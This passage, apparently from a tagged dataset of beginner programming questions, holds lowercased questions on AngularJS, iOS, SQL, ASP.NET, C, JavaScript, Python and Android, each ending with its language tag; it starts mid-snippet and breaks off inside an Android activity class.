function(){          alert( cell was clicked );      };    }); </code></pre>,angularjs
secitemcopymatching with ksecmatchitemlist fails  i m having trouble getting this call to work for ios. i ve tried a number of approaches but nothing seems to work: i always get a status of errsecparam. can anyone tell me what i m doing wrong     i started out using this to get a list of attributes for a certificate i hydrated from bytes. that didn t work so i reduced it to this and received the same error. i ve tested on the simulator and an iphone6 and get the same results.    first i get an array of certificates and then i pass the array back to secitemcopymatching. i ve tried this where i queried for attributes only and get the same error.    i m new to ios so i don t doubt it s something i ve missed.    thanks.   <pre><code>// call secitemcopymatching twice: the first time fetch an array of certificates // and the second time use the array with ksecmatchitemlist. - (void) secitemcopymatchingtest2 {      // now read them from the keychain.     nsmutabledictionary *query = [nsmutabledictionary dictionarywithobjectsandkeys:                                   (__bridge id)ksecclasscertificate (__bridge id)ksecclass                                    (__bridge id)kcfbooleantrue  (__bridge id)ksecreturnref                                    (__bridge id)ksecmatchlimitall  (__bridge id)ksecmatchlimit                                    nil];     cftyperef result;     osstatus status = secitemcopymatching((__bridge cfdictionaryref)query  &amp;result);     nsarray *rgrefs = cfbridgingrelease(result);     if (status == noerr){         // this works     }     // use the array we received from our previous call     [query setobject:rgrefs forkey:(__bridge id)ksecmatchitemlist];      cftyperef result2;     // results in status = errsecparam     status = secitemcopymatching((__bridge cfdictionaryref)query  &amp;result2);     if (status == errsecparam){         // the cal fails.     } } </code></pre>,ios
how to select every column and last added columns that starts with xxxx from different tables   first i ll start with my three tables:   <h2><em>pictogram</em></h2>  <ol> <li>idpictogram (int)</li> <li>pictogram (blob)</li> </ol>  <h2><em>residents</em></h2>  <ol> <li>idresident (int)</li> <li>name (varchar)</li> <li>photo (blob)</li> </ol>  <h2><em>schemes</em></h2>  <ol> <li>idscheme (int)</li> <li>resident (int) index -> idresident</li> <li>activity1 (int) index -> idpictogram</li> <li>activity2 (int) index -> idpictogram</li> <li>activity3 (int) index -> idpictogram</li> <li>activity4 (int) index -> idpictogram</li> <li>activity5 (int) index -> idpictogram</li> <li>activity6 (int) index -> idpictogram</li> <li>activity7 (int) index -> idpictogram</li> </ol>   and the default value of activity is null because not every resident will always have 7 activities per day. and i have a select like that:   <pre><code>select * from activiteitenschemao a      bewoners b      pictogrammen p where      a.bewoner = b.idbewoner     and a.activity1 = p.idpictogram     or a.activity1 = null     and a.activity2 = p.idpictogram     or a.activity2 = null     and a.activity3 = p.idpictogram     or a.activity3 = null     and a.activity4 = p.idpictogram     or a.activity4 = null     and a.activity5 = p.idpictogram     or a.activity5 = null     and a.activity6 = p.idpictogram     or a.activity6 = null     and a.activity7 = p.idpictogram     or a.activity7 = null </code></pre>   what i want is to select every activity columns  that is linked to the pictogram  because each pictogram represents an activity and so.     <strong>problem 1:</strong> in the table schemes  all the activities are set to be null as default and will be filled in by an admin with activities  and my select doesn t work.    <strong>problem 2:</strong> the admin might add another activity place for a resident so he ll have 8 activities instead of 7. how do i make sure that all the columns starting with the word  activity  will also be automatically selected,mysql
how to define dependencies correctly for third-party libraries in angularjs  i would like to integrate  toastr  library(<a href= https://github.com/codeseven/toastr  rel= nofollow >https://github.com/codeseven/toastr</a>) and cannot understand how to use it in angular.     when i try to define dependencies in my service  i receive the followinf error message:   <pre><code>error: error:unpr unknown provider unknown provider: toastrprovider </code></pre>   <strong>index.html</strong>   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head lang= en &gt;     &lt;link rel= icon  type= image/png  href= assets/images/favicon.ico &gt;     &lt;meta charset= utf-8  name= viewport  content= width=device-width  initial-scale=1 &gt;     &lt;base href= / &gt;     &lt;title&gt;todo app&lt;/title&gt;      &lt;link href= http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css  rel= stylesheet &gt;     &lt;link href= http://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/css/toastr.min.css  rel= stylesheet /&gt;     &lt;script src= http://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/js/toastr.min.js &gt;&lt;/script&gt;     &lt;script src= http://ajax.googleapis.com/ajax/libs/angularjs/1.3.14/angular.min.js &gt;&lt;/script&gt;     &lt;script src= http://ajax.googleapis.com/ajax/libs/angularjs/1.3.14/angular-route.min.js &gt;&lt;/script&gt;     &lt;script src= app.js &gt;&lt;/script&gt;     &lt;script src= app.routes.js &gt;&lt;/script&gt;     &lt;script src= app.constants.js &gt;&lt;/script&gt;     &lt;script src= blocks/logger.js &gt;&lt;/script&gt;     &lt;script src= todo/todo.controller.js &gt;&lt;/script&gt;     &lt;script src= todo/todo.factory.js &gt;&lt;/script&gt;  &lt;/head&gt;  &lt;body ng-app= app &gt;  &lt;section id= main &gt;     &lt;div class= container &gt;         &lt;ng-view&gt;&lt;/ng-view&gt;     &lt;/div&gt; &lt;/section&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>logger.js</strong>   <pre><code> use strict   angular     .module( app )     .factory( logger   logger);  logger.$inject = [ $log    toastr ];  function logger($log  toastr) {     var service = {         showtoasts: true           error: error          info: info          success: success          warning: warning           log: $log.log     }      return service;      function error(message  data  title) {         toastr.error(message  title);         $log.error( error:   + message  data);     }      function info(message  data  title) {         toastr.info(message  title);         $log.info( info:   + message  data);     }      function success(message  data  title) {         toastr.success(message  title);         $log.success( success:   + message  data);     }      function warning(message  data  title) {         toastr.warning(message  title);         $log.warning( warning:   + message  data);     } } </code></pre>   if i will remove  toastr  dependency and all toastr method calls  app will work fine. what i do wrong using third-party libraries in angularjs,angularjs
swrevealviewcontroller is nil when add the gesture  i am working on sidebar with storyboard. for this i have used <code>swrevealviewcontroller</code> library. in here in my main page at view did load event i have written     <pre><code>// create left side navigation button uibutton *btnmenu = [[uibutton alloc] initwithframe:cgrectmake(0  0  25  20)];  [btnmenu setbackgroundimage:[uiimage imagenamed:@ ic_drawer2.png ] forstate:uicontrolstatenormal]; [btnmenu addtarget:self.revealviewcontroller action:@selector(revealtoggle:) forcontrolevents:uicontroleventtouchupinside];  // set left side navigation button uibarbuttonitem * menubutton = [[uibarbuttonitem alloc] initwithcustomview:btnmenu]; self.navigationitem.leftbarbuttonitem = menubutton;  // set the gesture for nevigation drawer [self.view addgesturerecognizer: self.revealviewcontroller.pangesturerecognizer]; </code></pre>   in the last line i am facing  terminating app due to uncaught exception  nsinvalidargumentexception   reason:  <em>*</em> -[__nsarraym insertobject:atindex:]: object cannot be nil   this error.,ios
how to use a string variable as a command  i want to use a string that i get from other methods as a command.i get setting name form the method call  and it is different everytime.    example:    <pre><code>var settingvalue = string.format( apppool.{0}   settingname); </code></pre>   is it possible to use that string to do the following:   <pre><code>var what = apppool.recycling.periodicrestart.time; </code></pre>,c#
asp panel default button fire only specific key enter press  i have an asp panel in page which have many input filed like(textbox checkbox select etc) and two button one for saving(btnsave) the form and the second is for cancel(btncancel) purpose  and the btnsave is the default button of panel.    the problem occurs when the cancel key get the focus and user press the <kbd>enter</kbd> key  then the default key of asp panel which in this case is save button fire.   <pre><code>&lt;asp:panel defabultbutton= save &gt;    &lt;asp:textbox id= someid  runat= server &gt;&lt;/asp:textbox&gt;    &lt;asp:textbox id= someid2  runat= server &gt;&lt;/asp:textbox&gt;    &lt;asp:textbox id= someid3  runat= server &gt;&lt;/asp:textbox&gt;    &lt;asp:textbox id= someid4  runat= server &gt;&lt;/asp:textbox&gt;     &lt;asp:button id= btnsave  run= server  value= save  /&gt;    &lt;asp:button id= btncancel  run= server  value= cancel  /&gt;  &lt;/asp:panel&gt; </code></pre>   is there any way to prevent the default key firing on cancel key <kbd>enter</kbd> press.,asp.net
ajax combobox not firing event when combobox is empty  in my .aspx i ve written the following:   <pre><code>&lt;ajaxtoolkit:combobox id= cmbaddressalias  runat= server  dropdownstyle= simple       autocompletemode= suggest  casesensitive= false  autopostback= true  rendermode= inline  width= 170px  cssclass= cmbprovince  onselectedindexchanged= cmbaddressalias_selectedindexchanged &gt;           &lt;/ajaxtoolkit:combobox&gt; </code></pre>   it s binding correctly (datasource dynamically binded) and it raises event too  while changing index.    however it s not raising the event when i manually clear the combobox text.    if currently combobox having text  asp  then i manually select that entire text and using del key i am deleting but it is not raising event for me. when i change index it automatically raises the event.    i need to raise the event while combobox is empty.,asp.net
$location.path not refreshing page in the ie browser  i am using <code>$location.path</code> to redirect to a specific url. this is working in other browsers perfectly  but  in internet explorer it does not work.    i have tried with:   <pre><code>request.success(function (html) {     if(html[ success ] == 1){         $( #couponfrm )[0].reset();     }             $( #spinner ).hide();     if(html[ success ]){         launch( notify   html[ msg ]);         $location.path( /coupons`enter code here` );                     }     else{         launch( error   html[ msg ]);          }     });  </code></pre>,angularjs
the int is not converting to a char for some reason <pre><code>int myatoi(const char* string) { int i; i = 0; while(*string) {     i = (i &lt;&lt; 3) + (i&lt;&lt;1) + (*string - 0 );     string++; } return i; }  int main() { int i = myatoi( 10101 ); printf( %d\n  i); char a = (char)(((int) 0 )+i); printf( %c\n  a);   return 0; } </code></pre>   my output turns out to be  10101    �    how to fix this    should i parse int by int to convert into a char because we can use any c built in functions that can help us convert,c
"executing the wrong function in if statement  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>/* 
 game function:
 
 - player must guess a number beetween min and max
 - player gets a certain amount of guesses
 - notify player of guesses remaining
 - notify the player with a correct number if he loose
 - let player choose to play again
 */
 
 
 // variabels
 
 //game values
 let min = 1 
 max = 10 
 winningnum = 2 
 guessesleft = 3;
 
 // ui elements
 const game = document.getelementbyid( game ) 
 minnum = document.queryselector( .min-num ) 
 maxnum = document.queryselector( .max-num ) 
 guessbtn = document.getelementbyid( guess-btn )   
 guessinput = document.getelementbyid( guess-input )   
 message = document.queryselector( .message );
 
 // assign ui min and max
 minnum.textcontent = min;
 maxnum.textcontent = max;
 
 // event listener
 
 function loadeventlistener() {
     // listen for guess
     guessbtn.addeventlistener( click    checkguess );
     
 };
 
 loadeventlistener();
 
 // checks the entered number
 function checkguess() {
     let guess = parseint(guessinput.value);
     
     //validate the input
     if(isnan(guess) || guess &lt; min || guess &gt; max ) {
         console.log( here )
 /////// this below code setmessage is not executing when the condintions are true.. ////
         setmessage(`please enter a number between ${min} and ${max}`    red );
         console.log( here again )
         
     };
     
     //check if won
     if(guess === winningnum) {
         // right case here
         //dsiabe input
         guessinput.disabled = true;
         // change border color
         guessinput.style.bordercolor =  green ;
         // set message
         setmessage(`${winningnum} is correct.. you won the game!!`    green );
     } else {
         // wrong case here
         guessesleft -= 1;
         
         if(guessesleft === 0) {
             // game over - lost
             // disable input
             guessinput.disabled = true;
             // change border color
             guessinput.style.bordercolor =  red ;
             // set message
             setmessage(`game over..! the correct number was ${winningnum}..`    red );
         } else {
             // game continues - answer wrong
             // change border color
             guessinput.style.bordercolor =  red ;
             // clear input
             guessinput.value =   ;
             // tell user its the number 
             setmessage(`${guess} is not correct ${guessesleft} guesses left.`    orange )
              };
         
     }
 };
 
 
 // set message
 function setmessage(msg   color) {
     message.style.color = color;
     message.textcontent = msg;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html lang= en &gt;
 &lt;head&gt;
     &lt;meta charset= utf-8 &gt;
     &lt;meta name= viewport  content= width=device-width  initial-scale=1.0 &gt;
     &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt;
     &lt;link rel= stylesheet  href= https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.css  /&gt;
     &lt;title&gt;number guesser&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
     &lt;div class= container &gt;
         &lt;h1&gt;number guesser&lt;/h1&gt;
         &lt;div id= game &gt;
             &lt;p&gt;guess a number beetween 
                 &lt;span class= min-num &gt;&lt;/span&gt;
                 and 
                 &lt;span class= max-num &gt;&lt;/span&gt;
             &lt;/p&gt;
             &lt;input type= number  name=   id= guess-input  placeholder= enter your guess... &gt;
             &lt;input type= submit  value= submit  id= guess-btn &gt;
             &lt;p class= message &gt;&lt;/p&gt;
         &lt;/div&gt;
     &lt;/div&gt;
     
     &lt;script src= app.js &gt;&lt;/script&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
  when i click on the submit button without entering the values  the function in line 49 <strong>setmessage</strong> should execute  but its executing the code of 82nd line..  it should display the message (message placed in the argument) in 49th line code but its showing message from 82nd line.. please look at the issue..what else is wrong in the code",javascript
how to add values that has the same id  i am very new to sql  was looking around for this answer on the internet but i just don t know the specific keywords to use. i tried using sum function and distinct function but i just couldn t figure this out.    so i have a table like this   <pre><code>product_id    sales 11            32 11            28 12            20 12            22 12            10 </code></pre>   how do i group this table so that the same product_id has a total sales (adding all of the sales). i am trying to achieve the result like this:   <pre><code>product_id    sales 11            60 12            52 </code></pre>   many thanks!,sql
how to move only new or updated files   i am trying to create a script that will move only new or updated files from the past 24 hours into a new folder. i created a script so far that will move files in general  any leads or suggestions would be greatly appreciated.   <pre><code>import os  shutil  source = os.listdir( c:\users\student\desktop\foldera ) destination =  c:\users\student\desktop\folderb   os.chdir( c:\users\student\desktop\foldera )  for files in os.listdir( c:\users\student\desktop\foldera ):     if files.endswith( .txt ):         src = os.path.join( c:\users\student\desktop\foldera  files)         dst = os.path.join(destination files)         shutil.move(src dst) </code></pre>,python
how to get the device contain applciation names  i am developing an application in which i need to get the list of applications installed on the device.  how can i get the list of installed applications on the device,iphone
find a record with a key closest to a give value  i have a two column table currently  with the columns  probability  and  age . i have a given probability  and i need to search the table and return the age related to the closest probability. it s already in ascending order next to age  for example:   <pre><code>20  0.01050 21  0.02199 22  0.03155 23  0.04710 </code></pre>   the only thing i can think of doing right now is returning all ages with probabilities greater than the given probability  and taking the first one.    <pre><code>select age from mydb.mytest     where probability &gt; givenprobability; </code></pre>   i m sure there is a better approach to this than doing that  so i m wondering what that would be.,sql
jquery element not displaying  the function below display two box elements  each with it s own message  one below the other. i cannot get the #managerbtns element to appear at all. i have it initially hidden along with the #managermsg element  but it never appears anywhere on the page. only the #managermsg box fades in. i ve tried to alter the properties for the #managerbtns element  but nothing works.      <pre><code>function deleteuser(id  deleting){  var message =  &lt;h1&gt;are you sure  all records associated with this user will be deleted also.&lt;/h1&gt; ; var btns =  &lt;a href=# class=delete id= +id+ &gt;delete&lt;/a&gt;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&lt;a href=# class=cancel id= +id+ &gt;cancel&lt;/a&gt; ;  $( #managermsg ).html(message); $( #managerbtns ).html(btns); $( #managermsg ).fadein(500); $( #managerbtns ).fadein(500); }; </code></pre>,jquery
need sql help returning a dynamic dataset  i ve got three tables i would like to query for a single dataset. here is what i ve got so far:   <pre><code>select u.name  r.description from users u  join userrolemembership m on m.userid = u.userid join userroles r on r.roleid = m.roleid group by u.userid </code></pre>   the problem is that the above query only returns the first role.  how can i get the user.name and a list of roles on a single row     users (distinct users)   <pre><code>insert into users (userid  name) values (0  me)  (1  me2); </code></pre>   userroles (distinct role  and role description)   <pre><code>insert into users (roleid  description) values (0  everyone)  (1  users)  (2  admin); </code></pre>   userrolemembership (one user may have more than one role)   <pre><code>insert into userrolemembership (membershipid  userid  roleid) values (0  0  0)  (1  0  1)  (2  1  0)  (3  1  2); </code></pre>,mysql
a for loop to generate multiple data frames in python  i am new to python and trying to clean up my code by using a function which generates as many data frames as i desire. i want to get df1  df2  df3  etc. out by reading in different lists (one  two  three  etc.). the variable  input  is always the same. here is the code:    thx!   <h1>convert list into data frame</h1>  <pre><code>import numpy as np import pandas as pd df1 = pd.dataframe(one  columns=[(input.cell(0  0)).value +  a                                    (input.cell(0  0)).value +  b                                    (input.cell(0  2)).value +  a                                    (input.cell(0  2)).value +  b                                    (input.cell(0  3)).value +  a                                    (input.cell(0  3)).value +  b                                    (input.cell(0  4)).value +  a                                    (input.cell(0  4)).value +  b                                    (input.cell(0  5)).value +  a                                    (input.cell(0  5)).value +  b                                    (input.cell(0  6)).value +  a                                    (input.cell(0  6)).value +  b                                    (input.cell(0  7)).value +  a                                    (input.cell(0  7)).value +  b                                    (input.cell(0  8)).value +  a                                    (input.cell(0  8)).value +  b                                     pos1    mut1 ])  # replacement of    to nan df1 = df1.replace(    np.nan  regex=true) # calculate differences between individual clones for i in range(2  9):     df1[(input.cell(0  i)).value +  _dab ] = diff(df1[(input.cell(0  i))                                                   .value +  a ]                                                    df1[(input.cell(0  i))                                                   .value +  b ]) </code></pre>,python
stack traces never trace back to application code  i m not sure why but it seems with newer releases of android i never get usefull stack traces. they don t seem to go back far enough for me to find what line of code caused the crash. example:   <pre><code>08-17 09:33:38.449: e/androidruntime(14389): fatal exception: main 08-17 09:33:38.449: e/androidruntime(14389): java.lang.runtimeexception: unable to resume activity {com.evidence/com.evidence.activity.evidencelist}: android.database.staledataexception: attempted to access a cursor after it has been closed. 08-17 09:33:38.449: e/androidruntime(14389):    at android.app.activitythread.performresumeactivity(activitythread.java:2567) 08-17 09:33:38.449: e/androidruntime(14389):    at android.app.activitythread.handleresumeactivity(activitythread.java:2595) 08-17 09:33:38.449: e/androidruntime(14389):    at android.app.activitythread$h.handlemessage(activitythread.java:1183) 08-17 09:33:38.449: e/androidruntime(14389):    at android.os.handler.dispatchmessage(handler.java:99) 08-17 09:33:38.449: e/androidruntime(14389):    at android.os.looper.loop(looper.java:137) 08-17 09:33:38.449: e/androidruntime(14389):    at android.app.activitythread.main(activitythread.java:4575) 08-17 09:33:38.449: e/androidruntime(14389):    at java.lang.reflect.method.invokenative(native method) 08-17 09:33:38.449: e/androidruntime(14389):    at java.lang.reflect.method.invoke(method.java:511) 08-17 09:33:38.449: e/androidruntime(14389):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:789) 08-17 09:33:38.449: e/androidruntime(14389):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:556) 08-17 09:33:38.449: e/androidruntime(14389):    at dalvik.system.nativestart.main(native method) 08-17 09:33:38.449: e/androidruntime(14389): caused by: android.database.staledataexception: attempted to access a cursor after it has been closed. 08-17 09:33:38.449: e/androidruntime(14389):    at android.database.bulkcursortocursoradaptor.throwifcursorisclosed(bulkcursortocursoradaptor.java:75) 08-17 09:33:38.449: e/androidruntime(14389):    at android.database.bulkcursortocursoradaptor.requery(bulkcursortocursoradaptor.java:144) 08-17 09:33:38.449: e/androidruntime(14389):    at android.database.cursorwrapper.requery(cursorwrapper.java:186) 08-17 09:33:38.449: e/androidruntime(14389):    at android.app.activity.performrestart(activity.java:4505) 08-17 09:33:38.449: e/androidruntime(14389):    at android.app.activity.performresume(activity.java:4531) 08-17 09:33:38.449: e/androidruntime(14389):    at android.app.activitythread.performresumeactivity(activitythread.java:2557) 08-17 09:33:38.449: e/androidruntime(14389):    ... 10 more </code></pre>   is there a way to get the  10 more  that are not being shown     <pre><code>public class evidencelist extends standardmenuactivity implements adapterview.onitemclicklistener {      private applicationsettings settings;     private context mcontext;     private cursor mcursor;     private uri mdata;      private imagebutton mactivebutton = null;     private static final string tag = evidencelist.class.getsimplename();     protected static final int action_login = 10;     protected static final int action_enter_pin = 11;     protected static final int action_bulk_edit = 12;      private static final int dialog_confirm_delete = 2;     private static final int dialog_loading = 3;     private static final int dialog_files_missing = 4;      private static final int menu_item_cancel_upload = 10001;     private static final int menu_item_delete_evidence = 10002;     private static final int menu_item_view_edit_evidence = 10003;     private evidencedbhelper evidencehelper;     protected uploadqueuehelper uphelper;     private listview mlistview;     evidencelistcursoradapter madapter;         private imagebutton mlistallbutton  mlistaudiobutton  mlistvideobutton  mlistphotobutton  mlistuploadedbutton;     private button uploadbutton;     private view actionbuttonbar  tabbuttonbar;         private textview mtitleview;      private button mselectallbutton  mimportbutton;     private evidencemanager mevidencemanager;      @override     protected void oncreate(bundle savedinstancestate) {         // todo auto-generated method stub         super.oncreate(savedinstancestate);         log.d(tag   oncreate );         mcontext = getapplicationcontext();         settings = applicationsettings.getinstance(mcontext);          mevidencemanager = evidencemanager.getinstance(mcontext);         setcontentview(r.layout.evidence_list);          actionbuttonbar = findviewbyid(r.id.evidenceselecteditemsactionbuttonbar);         tabbuttonbar = findviewbyid(r.id.evidencelisttabbar);          mdata = getintent().getdata();         if (mdata == null) {             mdata = localevidence.content_uri;//default data         }         uphelper = new uploadqueuehelper(mcontext);         evidencehelper = new evidencedbhelper(mcontext);          mlistallbutton = (imagebutton) findviewbyid(r.id.evidencelistalltabbutton);         mlistvideobutton = (imagebutton) findviewbyid(r.id.evidencelistvideotabbutton);         mlistaudiobutton = (imagebutton) findviewbyid(r.id.evidencelistaudiotabbutton);         mlistphotobutton = (imagebutton) findviewbyid(r.id.evidencelistphototabbutton);         mlistuploadedbutton = (imagebutton) findviewbyid(r.id.evidencelistuploadtabbutton);         mtitleview = (textview) findviewbyid(r.id.evidencelisttypetitle);         mselectallbutton = (button) findviewbyid(r.id.checkall);                 mimportbutton = (button) findviewbyid(r.id.importevidence);         mimportbutton.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                 showdialog(dialog_import_evidence);             }         });         mselectallbutton.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                    easytracker.gettracker().trackevent(tag   select_all    on   1);                 toast.maketext(mcontext   getstring(r.string.message_select_all)  toast.length_short).show();                 madapter.checkall();             }                    });          listhascheckeditemslistener checkeditemslistener = new listhascheckeditemslistener() {              @override             public void onlistcheckedstatuschange(boolean hascheckeditems) {                 showtabsorbuttons(hascheckeditems);              }         };         mlistview = (listview) findviewbyid(android.r.id.list);         mlistview.setemptyview(findviewbyid(android.r.id.empty));         mcursor = getcursor();         madapter = new evidencelistcursoradapter(this  mcursor  geturiforcursor()  checkeditemslistener);         log.d(tag   oncreate  cursor:   + mcursor +   with adapter@uri   + geturiforcursor());         uploadbutton = (button) findviewbyid(r.id.uploadevidencebutton);          mlistview.setadapter(madapter);         mlistview.setonitemclicklistener(this);         setactivebutton();         checkifintenthastab(getintent());          uploadmanagerservice.startuploader(this  uploaderaction.op_start  1  null);     }      @override     public void onnewintent(intent intent) {         checkifintenthastab(intent);     }      private void checkifintenthastab(intent intent) {         string tab = getintent().getstringextra( tab );         if (tab != null) {             if (tab.equals( uploads_completed )) {                 changeview(r.id.evidencelistuploadtabbutton);             } else if (tab.equals( all_evidence )) {                 changeview(r.id.evidencelistalltabbutton);             } else if (tab.equals( videos )) {                 changeview(r.id.evidencelistvideotabbutton);             } else if (tab.equals( photos )) {                 changeview(r.id.evidencelistphototabbutton);             } else if (tab.equals( audio )) {                 changeview(r.id.evidencelistalltabbutton);             } else {                 log.e(tag   no match for tab   + tab);             }         }     }       public void titlebarlogoclicked(view button) {         log.d(tag   clicked titlebar );         launchmainactivity();     }      public void launchmainactivity() {         intent i = new intent(this  home.class);         i.addflags(intent.flag_activity_clear_top);         startactivity(i);      }     //should be called after switching the cursor     private void setactivebutton() {         if (mdata.equals(localevidence.content_uri)){             mactivebutton = mlistallbutton;         } else if (mdata.equals(localevidence.content_audio_uri)){             mactivebutton = mlistaudiobutton;         } else if (mdata.equals(localevidence.content_video_uri)) {             mactivebutton = mlistvideobutton;         } else if (mdata.equals(localevidence.content_photo_uri)) {             mactivebutton = mlistphotobutton;         } else if (mdata.equals(localevidence.content_uploaded_uri)) {             mactivebutton = mlistuploadedbutton;         }         mactivebutton.setselected(true);         setothersinactive();      }     private void setothersinactive() {         if (mactivebutton != mlistallbutton) {             mlistallbutton.setselected(false);         }         if (mactivebutton != mlistvideobutton) {             mlistvideobutton.setselected(false);         }         if (mactivebutton != mlistaudiobutton) {             mlistaudiobutton.setselected(false);         }         if (mactivebutton != mlistphotobutton) {             mlistphotobutton.setselected(false);         }         if (mactivebutton != mlistuploadedbutton) {             mlistuploadedbutton.setselected(false);         }     }      private void changecursor() {         madapter.changecursor(getcursor());     }       private cursor getcursor() {                 return managedquery(mdata  null  null  null  null);     }      private uri geturiforcursor() {         return localevidence.content_uri;     }      @override     protected void ondestroy() {         log.d(tag   ondestroy );         madapter.close();         super.ondestroy();     }        @override     protected void onresume() {         super.onresume();         log.d(tag   onresume );         if (!fileutils.isexternalstorageavailableandwritable(mcontext)) {             util.showalertmsgnoexternalstorage(this);             return;         }         if (settings.requirespin() &amp;&amp; settings.getlastpinsuccessentrytime() &lt; system.currenttimemillis() - (1000 * 60 * 15)) {             sendtoenterpin();             return;         }         //set&lt;long&gt; selections = madapter.getselectedcheckboxmediaids();         //settabsorbuttons(selections);     }      @override     protected void onsaveinstancestate(bundle outstate) {         //super.onsaveinstancestate(outstate);         //outstate.     }     @override     public void onitemclick(adapterview&lt; &gt; l  view v  int position  long id) {         log.d(tag   onlistitemclick  item clicked with id   + id);         intent openevidenceintent = getintentforevidenceid(id);         startactivity(openevidenceintent);     }      private void uncheckall() {         madapter.uncheckall();     }      @override     public void onbackpressed() {         log.d(tag   onbackpressed );          if (madapter.hasselectedcheckboxes()) {             uncheckall();         } else {             intent i = new intent(this  home.class);             i.addflags(intent.flag_activity_clear_top);                      startactivity(i);             finish();             //super.onbackpressed();         }     }      @override     protected dialog oncreatedialog(int id) {         log.d(tag   oncreatedialog );         switch (id) {             case dialog_confirm_delete:                 string msg = getstring(r.string.alert_delete_imported);                 return new alertdialog.builder(this)                         .setmessage(msg)                         .setcancelable(false)                         .setpositivebutton(getstring(r.string.yes_btn)                                  new dialoginterface.onclicklistener() {                                     public void onclick(dialoginterface dialog  int id) {                                         evidencelist.this.doremoveevidence();                                     }                                 })                         .setnegativebutton(r.string.no_btn  new dialoginterface.onclicklistener() {                             public void onclick(dialoginterface dialog  int id) {                                 dialog.cancel();                             }                         }).create();             case dialog_loading:                 progressdialog pdialog = new progressdialog(this);                 pdialog.setmessage(getstring(r.string.alert_checking_login));                 return pdialog;             case dialog_files_missing:                 return new alertdialog.builder(this)                         .settitle(getstring(r.string.alert_files_missing_title))                         .setmessage(getstring(r.string.alert_files_missing))                         .setneutralbutton(getstring(r.string.ok_btn)  new onclicklistener() {                             @override                             public void onclick(dialoginterface dialog  int arg1id) {                                 dialog.cancel();                             }                         }).create();             default:                 return super.oncreatedialog(id);         }      }      public void removeevidence(view v) {         log.d(tag   removeevidence );         //toast.maketext(mcontext    going to delete..    toast.length_long).show();         showdialog(dialog_confirm_delete);     }      public void bulkeditevidence(view v) {         log.d(tag   bulkeditevidence );         easytracker.gettracker().trackevent(tag   bulk_edit       1);         set&lt;long&gt; selections = madapter.getselectedcheckboxmediaids();         iterator&lt;long&gt; selectioniter = selections.iterator();          // pass the array of id s checked to the intent service.          // we need to convert from long[] to long[]          long[] ids = new long[selections.size()];         int i = 0;         while(selectioniter.hasnext()) {                         long curr = selectioniter.next();             ids[i++] = curr;         }         intent bulkeditintent = new intent(this  bulkeditevidence.class);         bulkeditintent.putextra(bulkeditevidence.extra_evidence_ids  ids);         startactivityforresult(bulkeditintent  action_bulk_edit);     }      public void doremoveevidence() {         log.d(tag   doremoveevidence );         easytracker.gettracker().trackevent(tag   delete       1);         set&lt;long&gt; selectedids = madapter.getselectedcheckboxmediaids();         if (selectedids == null || selectedids.size() &lt; 1) {             toast.maketext(mcontext   getstring(r.string.alert_no_evidence_removed)  toast.length_long).show();             return;         }         iterator&lt;long&gt; selectediter = selectedids.iterator();            list&lt;long&gt; deleted = new arraylist&lt;long&gt;();         while(selectediter.hasnext()) {             long selectedid = selectediter.next();             log.d(tag   going to delete evidence id:   + selectedid);             evidence ev = evidencehelper.getevidencefrommediarecord(selectedid);              if (ev != null) {                 if (ev.getmediaid() &gt; 0) {                     //has a media id                     int rowsaffected = evidencehelper.deletebyid(selectedid);                     uphelper.deletebyid(selectedid);                     if (rowsaffected &gt;0) {                         deleted.add(selectedid);                                              }                 } else {                     if (ev != null) {                         try {                             ev.getfile().delete();                             int rowsaffected = evidencehelper.deletebyid(selectedid);                             uphelper.deletebyid(selectedid);                             if (rowsaffected &gt; 0) {                                 deleted.add(selectedid);                             }                         } catch(exception e) {                             log.e(tag   error trying to delete evidence    + selectedid +   msg:   + e.getmessage()  e);                         }                     }                 }             } else {                 string msg = string.format(getstring(r.string.alert_ev_with_id_could_not_delete)     + selectedid);                 toast.maketext(mcontext  msg  toast.length_long).show();             }         }         if (deleted != null &amp;&amp; deleted.size() &gt; 0) {             long[] deletedarr = deleted.toarray(new long[1]);             madapter.uncheckids(deletedarr);         }         try {             dismissdialog(dialog_confirm_delete);         } catch(exception e) {             //who cares         }     }     public void uploadselected(view v) throws urisyntaxexception  ioexception {              log.d(tag   uploadselected );         uploadbutton.setenabled(false);         showdialog(dialog_loading);         //if the last time the session was checked was more than 15 minutes (-5 seconds)         //then check the session again..          if (!settings.canuserautologin()) {             dismissdialog(dialog_loading);             sendtologin();         } else {             douploadselected();             uploadbutton.setenabled(true);         }      }      private void sendtologin() {          intent i = new intent(action.login);                   startactivityforresult(i  action_login);     }      private void sendtoenterpin() {         startactivityforresult(new intent(this  enterpin.class)  action_enter_pin);     }      private void douploadselected() {         log.d(tag   douploadselected );          set&lt;long&gt; selections = madapter.getselectedcheckboxmediaids();         iterator&lt;long&gt; selectioniter = selections.iterator();          // pass the array of id s checked to the intent service.          // we need to convert from long[] to long[]           long[] origarr = selections.toarray(new long[selections.size()]);         log.d(tag   about to pass evidence ids for upload | on thread   + thread.currentthread().getid());         list&lt;long&gt; toupload = new arraylist&lt;long&gt;();          long[] ev_ids = new long[selections.size()];         int i = 0;         boolean alertmissing = false;         while(selectioniter.hasnext()) {             long curr = selectioniter.next();             evidence ev = evidencehelper.getevidencefrommediarecord(curr);             if (fileutils.isfileavailableandreadable(ev.getfile())) {                 toupload.add(curr);                 ev_ids[i] = curr;                 i++;             } else {                 alertmissing = true;             }         }         try {             dismissdialog(dialog_loading);         } catch(exception e) {}     